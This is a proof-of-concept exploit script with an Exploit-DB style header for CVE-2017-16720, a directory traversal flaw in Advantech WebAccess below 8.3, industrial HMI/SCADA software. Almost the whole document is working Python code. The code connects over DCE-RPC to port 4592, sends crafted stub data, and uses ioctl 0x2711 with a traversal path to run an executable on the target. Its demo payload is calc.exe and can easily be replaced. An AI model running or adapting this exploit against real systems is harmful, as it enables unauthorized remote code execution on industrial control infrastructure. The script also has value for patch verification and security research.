Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution

#!/usr/bin/python2.7
  
# Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability
# Date: 03-11-2018
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.advantech.com
# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe
# Version: Advantech WebAccess 8.2-2017.08.18
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-16720
# See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/

import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
  dce.call(opcode, stubdata)
  res = -1
  try:
    res = dce.recv()
  except Exception, e:
    print "Exception encountered..." + str(e)
    sys.exit(1)
  return res

if len(sys.argv) != 2:
  print "Provide only host arg"
  sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0" 

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

dce = trans.get_dce_rpc()
dce.connect()

print "Binding..."
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print "...1"
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)

print "...2"
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
  print "Something went wrong"
  sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
  print "Received unexpected length value"
  sys.exit(1)

print "...3"
# ioctl 0x2711
stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
command = "..\\..\\windows\\system32\\calc.exe"
fmt = "<" + str(0x204) + "s"
stubdata += struct.pack(fmt, command)
call(dce, 1, stubdata)

print "\nDid it work?"

dce.disconnect()